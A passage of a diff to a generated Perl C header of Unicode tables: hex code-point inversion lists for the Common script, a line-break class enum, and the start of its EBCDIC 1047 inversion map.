0x388, - 0x589, - 0x58A, - 0x605, - 0x606, - 0x60C, - 0x60D, - 0x61B, - 0x61C, - 0x61F, - 0x620, - 0x640, - 0x641, - 0x6DD, - 0x6DE, - 0x8E2, - 0x8E3, - 0x964, - 0x966, - 0xE3F, - 0xE40, - 0xFD5, - 0xFD9, - 0x10FB, - 0x10FC, - 0x16EB, - 0x16EE, - 0x1735, - 0x1737, - 0x1802, - 0x1804, - 0x1805, - 0x1806, - 0x1CD3, - 0x1CD4, - 0x1CE1, - 0x1CE2, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF4, - 0x1CF5, - 0x1CF8, - 0x2000, - 0x200C, - 0x200E, - 0x2065, - 0x2066, - 0x2071, - 0x2074, - 0x207F, - 0x2080, - 0x208F, - 0x20A0, - 0x20C0, - 0x2100, - 0x2126, - 0x2127, - 0x212A, - 0x212C, - 0x2132, - 0x2133, - 0x214E, - 0x214F, - 0x2160, - 0x2189, - 0x218C, - 0x2190, - 0x2427, - 0x2440, - 0x244B, - 0x2460, - 0x2800, - 0x2900, - 0x2B74, - 0x2B76, - 0x2B96, - 0x2B98, - 0x2BBA, - 0x2BBD, - 0x2BC9, - 0x2BCA, - 0x2BD3, - 0x2BEC, - 0x2BF0, - 0x2E00, - 0x2E4A, - 0x2FF0, - 0x2FFC, - 0x3000, - 0x3005, - 0x3006, - 0x3007, - 0x3008, - 0x3021, - 0x3030, - 0x3038, - 0x303C, - 0x3040, - 0x309B, - 0x309D, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FD, - 0x3190, - 0x31A0, - 0x31C0, - 0x31E4, - 0x3220, - 0x3260, - 0x327F, - 0x32D0, - 0x3358, - 0x3400, - 0x4DC0, - 0x4E00, - 0xA700, - 0xA722, - 0xA788, - 0xA78B, - 0xA830, - 0xA83A, - 0xA92E, - 0xA92F, - 0xA9CF, - 0xA9D0, - 0xAB5B, - 0xAB5C, + 0xFB1D, + 0xFB1E, + 0xFB1F, + 0xFB29, + 0xFB2A, + 0xFB37, + 0xFB38, + 0xFB3D, + 0xFB3E, + 0xFB3F, + 0xFB40, + 0xFB42, + 0xFB43, + 0xFB45, + 0xFB46, + 0xFB50, 0xFD3E, + 0xFD3F, 0xFD40, + 0xFDFC, + 0xFDFD, + 0xFE00, 0xFE10, + 0xFE11, + 0xFE13, + 0xFE15, + 0xFE17, + 0xFE18, + 0xFE19, 0xFE1A, + 0xFE20, 0xFE30, + 0xFE35, + 0xFE36, + 0xFE37, + 0xFE38, + 0xFE39, + 0xFE3A, + 0xFE3B, + 0xFE3C, + 0xFE3D, + 0xFE3E, + 0xFE3F, + 0xFE40, + 0xFE41, + 0xFE42, + 0xFE43, + 0xFE44, + 0xFE45, + 0xFE47, + 0xFE48, + 0xFE49, + 0xFE50, + 0xFE51, + 0xFE52, 0xFE53, 0xFE54, + 0xFE56, + 0xFE58, + 0xFE59, + 0xFE5A, + 0xFE5B, + 0xFE5C, + 0xFE5D, + 0xFE5E, + 0xFE5F, 0xFE67, 0xFE68, + 0xFE69, + 0xFE6A, + 0xFE6B, 0xFE6C, 0xFEFF, 0xFF00, 0xFF01, - 0xFF21, + 0xFF02, + 0xFF04, + 0xFF05, + 0xFF06, + 0xFF08, + 0xFF09, + 0xFF0A, + 0xFF0C, + 0xFF0D, + 0xFF0E, + 0xFF0F, + 0xFF1A, + 0xFF1C, + 0xFF1F, + 0xFF20, 0xFF3B, - 0xFF41, + 0xFF3C, + 0xFF3D, + 0xFF3E, 0xFF5B, + 0xFF5C, + 0xFF5D, + 0xFF5E, + 0xFF5F, + 0xFF60, + 0xFF62, + 0xFF63, + 0xFF65, 0xFF66, - 0xFF70, + 0xFF67, 0xFF71, 0xFF9E, 0xFFA0, + 0xFFBF, + 0xFFC2, + 0xFFC8, + 0xFFCA, + 0xFFD0, + 0xFFD2, + 0xFFD8, + 0xFFDA, + 0xFFDD, 0xFFE0, + 0xFFE1, + 0xFFE2, + 0xFFE5, 0xFFE7, - 0xFFE8, - 0xFFEF, 0xFFF9, - 0xFFFE, + 0xFFFC, + 0xFFFD, 0x10100, 0x10103, - 0x10107, - 0x10134, - 0x10137, - 0x10140, - 0x10190, - 0x1019C, - 0x101D0, 0x101FD, + 0x101FE, + 0x102E0, 0x102E1, - 0x102FC, - 0x1BCA0, - 0x1BCA4, - 0x1D000, - 0x1D0F6, - 0x1D100, - 0x1D127, - 0x1D129, - 0x1D167, - 0x1D16A, - 0x1D17B, - 0x1D183, - 0x1D185, - 0x1D18C, - 0x1D1AA, - 0x1D1AE, - 0x1D1E9, - 0x1D300, - 0x1D357, - 0x1D360, - 0x1D372, - 0x1D400, - 0x1D455, - 0x1D456, - 0x1D49D, - 0x1D49E, - 0x1D4A0, - 0x1D4A2, - 0x1D4A3, - 0x1D4A5, - 0x1D4A7, - 0x1D4A9, - 0x1D4AD, - 0x1D4AE, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D506, - 0x1D507, - 0x1D50B, - 0x1D50D, - 0x1D515, - 0x1D516, - 0x1D51D, - 0x1D51E, - 0x1D53A, - 0x1D53B, - 0x1D53F, - 0x1D540, - 0x1D545, - 0x1D546, - 0x1D547, - 0x1D54A, - 0x1D551, - 0x1D552, - 0x1D6A6, - 0x1D6A8, - 0x1D7CC, + 0x10376, + 0x1037B, + 0x1039F, + 0x103A0, + 0x103D0, + 0x103D1, + 0x104A0, + 0x104AA, + 0x10857, + 0x10858, + 0x1091F, + 0x10920, + 0x10A01, + 0x10A04, + 0x10A05, + 0x10A07, + 0x10A0C, + 0x10A10, + 0x10A38, + 0x10A3B, + 0x10A3F, + 0x10A40, + 0x10A50, + 0x10A58, + 0x10AE5, + 0x10AE7, + 0x10AF0, + 0x10AF6, + 0x10AF7, + 0x10B39, + 0x10B40, + 0x11000, + 0x11003, + 0x11038, + 0x11047, + 0x11049, + 0x11066, + 0x11070, + 0x1107F, + 0x11083, + 0x110B0, + 0x110BB, + 0x110BE, + 0x110C2, + 0x110F0, + 0x110FA, + 0x11100, + 0x11103, + 0x11127, + 0x11135, + 0x11136, + 0x11140, + 0x11144, + 0x11173, + 0x11174, + 0x11175, + 0x11176, + 0x11180, + 0x11183, + 0x111B3, + 0x111C1, + 0x111C5, + 0x111C7, + 0x111C8, + 0x111C9, + 0x111CA, + 0x111CD, + 0x111D0, + 0x111DA, + 0x111DB, + 0x111DC, + 0x111DD, + 0x111E0, + 0x1122C, + 0x11238, + 0x1123A, + 0x1123B, + 0x1123D, + 0x1123E, + 0x1123F, + 0x112A9, + 0x112AA, + 0x112DF, + 0x112EB, + 0x112F0, + 0x112FA, + 0x11300, + 0x11304, + 0x1133C, + 0x1133D, + 0x1133E, + 0x11345, + 0x11347, + 0x11349, + 0x1134B, + 0x1134E, + 0x11357, + 0x11358, + 0x11362, + 0x11364, + 0x11366, + 0x1136D, + 0x11370, + 0x11375, + 0x11435, + 0x11447, + 0x1144B, + 0x1144F, + 0x11450, + 0x1145A, + 0x1145B, + 0x1145C, + 0x114B0, + 0x114C4, + 0x114D0, + 0x114DA, + 0x115AF, + 0x115B6, + 0x115B8, + 0x115C1, + 0x115C2, + 0x115C4, + 0x115C6, + 0x115C9, + 0x115D8, + 0x115DC, + 0x115DE, + 0x11630, + 0x11641, + 0x11643, + 0x11650, + 0x1165A, + 0x11660, + 0x1166D, + 0x116AB, + 0x116B8, + 0x116C0, + 0x116CA, + 0x1171D, + 0x1172C, + 0x11730, + 0x1173A, + 0x1173C, + 0x1173F, + 0x118E0, + 0x118EA, + 0x11C2F, + 0x11C37, + 0x11C38, + 0x11C40, + 0x11C41, + 0x11C46, + 0x11C50, + 0x11C5A, + 0x11C70, + 0x11C71, + 0x11C72, + 0x11C92, + 0x11CA8, + 0x11CA9, + 0x11CB7, + 0x12470, + 0x12475, + 0x13258, + 0x1325B, + 0x1325E, + 0x13282, + 0x13283, + 0x13286, + 0x13287, + 0x13288, + 0x13289, + 0x1328A, + 0x13379, + 0x1337A, + 0x1337C, + 0x145CE, + 0x145CF, + 0x145D0, + 0x16A60, + 0x16A6A, + 0x16A6E, + 0x16A70, + 0x16AF0, + 0x16AF5, + 0x16AF6, + 0x16B30, + 0x16B37, + 0x16B3A, + 0x16B44, + 0x16B45, + 0x16B50, + 0x16B5A, + 0x16F51, + 0x16F7F, + 0x16F8F, + 0x16F93, + 0x16FE0, + 0x16FE1, + 0x17000, + 0x187ED, + 0x18800, + 0x18AF3, + 0x1B000, + 0x1B002, + 0x1BC9D, + 0x1BC9F, + 0x1BCA0, + 0x1BCA4, + 0x1D165, + 0x1D16A, + 0x1D16D, + 0x1D183, + 0x1D185, + 0x1D18C, + 0x1D1AA, + 0x1D1AE, + 0x1D242, + 0x1D245, 0x1D7CE, 0x1D800, + 0x1DA00, + 0x1DA37, + 0x1DA3B, + 0x1DA6D, + 0x1DA75, + 0x1DA76, + 0x1DA84, + 0x1DA85, + 0x1DA87, + 0x1DA8B, + 0x1DA9B, + 0x1DAA0, + 0x1DAA1, + 0x1DAB0, + 0x1E000, + 0x1E007, + 0x1E008, + 0x1E019, + 0x1E01B, + 0x1E022, + 0x1E023, + 0x1E025, + 0x1E026, + 0x1E02B, + 0x1E8D0, + 0x1E8D7, + 0x1E944, + 0x1E94B, + 0x1E950, + 0x1E95A, + 0x1E95E, + 0x1E960, 0x1F000, - 0x1F02C, - 0x1F030, - 0x1F094, - 0x1F0A0, - 0x1F0AF, - 0x1F0B1, - 0x1F0C0, - 0x1F0C1, - 0x1F0D0, - 0x1F0D1, - 0x1F0F6, 0x1F100, 0x1F10D, 0x1F110, @@ -345789,22 +41597,80 @@ static const UV PL_SC__ZYYY_invlist[] = { /* for ASCII/Latin1 */ 0x1F1AD, 0x1F1E6, 0x1F200, - 0x1F201, - 0x1F203, - 0x1F210, - 0x1F23C, - 0x1F240, - 0x1F249, - 0x1F250, - 0x1F252, - 0x1F260, - 0x1F266, - 0x1F300, - 0x1F6D5, - 0x1F6E0, - 0x1F6ED, - 0x1F6F0, - 0x1F6F9, + 0x1F385, + 0x1F386, + 0x1F39C, + 0x1F39E, + 0x1F3B5, + 0x1F3B7, + 0x1F3BC, + 0x1F3BD, + 0x1F3C3, + 0x1F3C5, + 0x1F3CA, + 0x1F3CC, + 0x1F3FB, + 0x1F400, + 0x1F442, + 0x1F444, + 0x1F446, + 0x1F451, + 0x1F466, + 0x1F46A, + 0x1F46E, + 0x1F46F, + 0x1F470, + 0x1F479, + 0x1F47C, + 0x1F47D, + 0x1F481, + 0x1F484, + 0x1F485, + 0x1F488, + 0x1F4A0, + 0x1F4A1, + 0x1F4A2, + 0x1F4A3, + 0x1F4A4, + 0x1F4A5, + 0x1F4AA, + 0x1F4AB, + 0x1F4AF, + 0x1F4B0, + 0x1F4B1, + 0x1F4B3, + 0x1F500, + 0x1F507, + 0x1F517, + 0x1F525, + 0x1F532, + 0x1F54A, + 0x1F575, + 0x1F576, + 0x1F57A, + 0x1F57B, + 0x1F590, + 0x1F591, + 0x1F595, + 0x1F597, + 0x1F5D4, + 0x1F5DC, + 0x1F5F4, + 0x1F5FA, + 0x1F645, + 0x1F648, + 0x1F64B, + 0x1F650, + 0x1F676, + 0x1F679, + 0x1F67C, + 0x1F680, + 0x1F6A3, + 0x1F6A4, + 0x1F6B4, + 0x1F6B7, + 0x1F6C0, + 0x1F6C1, 0x1F700, 0x1F774, 0x1F780, @@ -345819,48 +41685,2407 @@ static const UV PL_SC__ZYYY_invlist[] = { /* for ASCII/Latin1 */ 0x1F888, 0x1F890, 0x1F8AE, - 0x1F900, - 0x1F90C, - 0x1F910, + 0x1F918, + 0x1F91F, + 0x1F926, + 0x1F927, + 0x1F930, + 0x1F931, + 0x1F933, + 0x1F93A, + 0x1F93C, 0x1F93F, - 0x1F940, - 0x1F94D, - 0x1F950, - 0x1F96C, - 0x1F980, - 0x1F998, - 0x1F9C0, - 0x1F9C1, - 0x1F9D0, - 0x1F9E7, + 0x1FFFE, + 0x20000, + 0x2FFFE, + 0x30000, + 0x3FFFE, 0xE0001, 0xE0002, 0xE0020, - 0xE0080 + 0xE0080, + 0xE0100, + 0xE01F0 +}; + +#endif /* defined(PERL_IN_PERL_C) */ + +#if defined(PERL_IN_REGEXEC_C) + +#define LB_ENUM_COUNT 39 + +typedef enum { + LB_Alphabetic = 0, + LB_Break_After = 1, + LB_Break_Before = 2, + LB_Break_Both = 3, + LB_Break_Symbols = 4, + LB_Carriage_Return = 5, + LB_Close_Parenthesis = 6, + LB_Close_Punctuation = 7, + LB_Combining_Mark = 8, + LB_Contingent_Break = 9, + LB_E_Base = 10, + LB_E_Modifier = 11, + LB_Exclamation = 12, + LB_Glue = 13, + LB_H2 = 14, + LB_H3 = 15, + LB_Hebrew_Letter = 16, + LB_Hyphen = 17, + LB_Ideographic = 18, + LB_Infix_Numeric = 19, + LB_Inseparable = 20, + LB_JL = 21, + LB_JT = 22, + LB_JV = 23, + LB_Line_Feed = 24, + LB_Mandatory_Break = 25, + LB_Next_Line = 26, + LB_Nonstarter = 27, + LB_Numeric = 28, + LB_Open_Punctuation = 29, + LB_Postfix_Numeric = 30, + LB_Prefix_Numeric = 31, + LB_Quotation = 32, + LB_Regional_Indicator = 33, + LB_Space = 34, + LB_Word_Joiner = 35, + LB_ZWJ = 36, + LB_ZWSpace = 37, + LB_EDGE = 38 +} LB_enum; + +static const LB_enum _Perl_LB_invmap[] = { /* for EBCDIC 1047 */ + LB_Combining_Mark, + LB_Break_After, + LB_Combining_Mark, + LB_Mandatory_Break, + LB_Carriage_Return, + LB_Combining_Mark, + LB_Line_Feed, + LB_Combining_Mark, + LB_Next_Line, + LB_Combining_Mark, + LB_Space, + LB_Glue, + LB_Alphabetic, + LB_Postfix_Numeric, + LB_Infix_Numeric, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Prefix_Numeric, + LB_Break_After, + LB_Alphabetic, + LB_Exclamation, + LB_Prefix_Numeric, + LB_Alphabetic, + LB_Close_Parenthesis, + LB_Infix_Numeric, + LB_Alphabetic, + LB_Hyphen, + LB_Break_Symbols, + LB_Alphabetic, + LB_Infix_Numeric, + LB_Postfix_Numeric, + LB_Alphabetic, + LB_Exclamation, + LB_Alphabetic, + LB_Infix_Numeric, + LB_Alphabetic, + LB_Quotation, + LB_Alphabetic, + LB_Quotation, + LB_Alphabetic, + LB_Quotation, + LB_Alphabetic, + LB_Prefix_Numeric, + LB_Postfix_Numeric, + LB_Alphabetic, + LB_Prefix_Numeric, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Alphabetic, + LB_Prefix_Numeric, + LB_Alphabetic, + LB_Close_Parenthesis, + LB_Break_Before, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Close_Punctuation, + LB_Alphabetic, + LB_Prefix_Numeric, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_Before, + LB_Alphabetic, + LB_Break_Before, + LB_Alphabetic, + LB_Break_Before, + LB_Alphabetic, + LB_Combining_Mark, + LB_Glue, + LB_Combining_Mark, + LB_Glue, + LB_Combining_Mark, + LB_Alphabetic, + LB_Infix_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Infix_Numeric, + LB_Break_After, + LB_Alphabetic, + LB_Prefix_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Break_After, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Exclamation, + LB_Combining_Mark, + LB_Alphabetic, + LB_Hebrew_Letter, + LB_Alphabetic, + LB_Hebrew_Letter, + LB_Alphabetic, + LB_Postfix_Numeric, + LB_Infix_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Exclamation, + LB_Combining_Mark, + LB_Alphabetic, + LB_Exclamation, + LB_Alphabetic, + LB_Combining_Mark, + LB_Numeric, + LB_Postfix_Numeric, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Exclamation, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Infix_Numeric, + LB_Exclamation, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Break_After, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Postfix_Numeric, + LB_Alphabetic, + LB_Postfix_Numeric, + LB_Alphabetic, + LB_Prefix_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Prefix_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Prefix_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Postfix_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Prefix_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Break_Before, + LB_Alphabetic, + LB_Break_Before, + LB_Glue, + LB_Break_Before, + LB_Break_After, + LB_Glue, + LB_Exclamation, + LB_Glue, + LB_Alphabetic, + LB_Exclamation, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Break_After, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Break_After, + LB_Combining_Mark, + LB_Break_After, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_Before, + LB_Break_After, + LB_Break_Before, + LB_Alphabetic, + LB_Glue, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Numeric, + LB_Combining_Mark, + LB_Alphabetic, + LB_JL, + LB_JV, + LB_JT, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Break_After, + LB_Nonstarter, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Break_After, + LB_Prefix_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Exclamation, + LB_Break_After, + LB_Break_Before, + LB_Alphabetic, + LB_Exclamation, + LB_Alphabetic, + LB_Combining_Mark, + LB_Glue, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Exclamation, + LB_Numeric, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Numeric, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Break_After, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_After, + LB_Numeric, + LB_Alphabetic, + LB_Numeric, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Break_Before, + LB_Alphabetic, + LB_Break_After, + LB_Glue, + LB_Break_After, + LB_ZWSpace, + LB_Combining_Mark, + LB_ZWJ, + LB_Combining_Mark, + LB_Break_After, + LB_Glue, + LB_Break_After, + LB_Break_Both, + LB_Alphabetic, + LB_Quotation, + LB_Open_Punctuation, + LB_Quotation, + LB_Open_Punctuation, + LB_Quotation, + LB_Alphabetic, + LB_Inseparable, + LB_Break_After, + LB_Mandatory_Break, + LB_Combining_Mark, + LB_Glue, + LB_Postfix_Numeric, + LB_Alphabetic, + LB_Quotation, + LB_Alphabetic, + LB_Nonstarter, + LB_Alphabetic, + LB_Infix_Numeric, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Nonstarter, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Break_After, + LB_Word_Joiner, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Alphabetic, + LB_Prefix_Numeric, + LB_Postfix_Numeric, + LB_Prefix_Numeric, + LB_Postfix_Numeric, + LB_Prefix_Numeric, + LB_Postfix_Numeric, + LB_Prefix_Numeric, + LB_Postfix_Numeric, + LB_Prefix_Numeric, + LB_Combining_Mark, + LB_Alphabetic, + LB_Postfix_Numeric, + LB_Alphabetic, + LB_Postfix_Numeric, + LB_Alphabetic, + LB_Prefix_Numeric, + LB_Alphabetic, + LB_Prefix_Numeric, + LB_Alphabetic, + LB_Inseparable, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_E_Base, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_Alphabetic, + LB_Ideographic, + LB_E_Base, + LB_Alphabetic, + LB_Quotation, + LB_Alphabetic, + LB_Exclamation, + LB_Ideographic, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Alphabetic, + LB_Open_Punctuation, + LB_Close_Punctuation, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Exclamation, + LB_Break_After, + LB_Alphabetic, + LB_Exclamation, + LB_Break_After, + LB_Alphabetic, + LB_Break_After, + LB_Alphabetic, + LB_Combining_Mark, + LB_Alphabetic, + LB_Combining_Mark, + 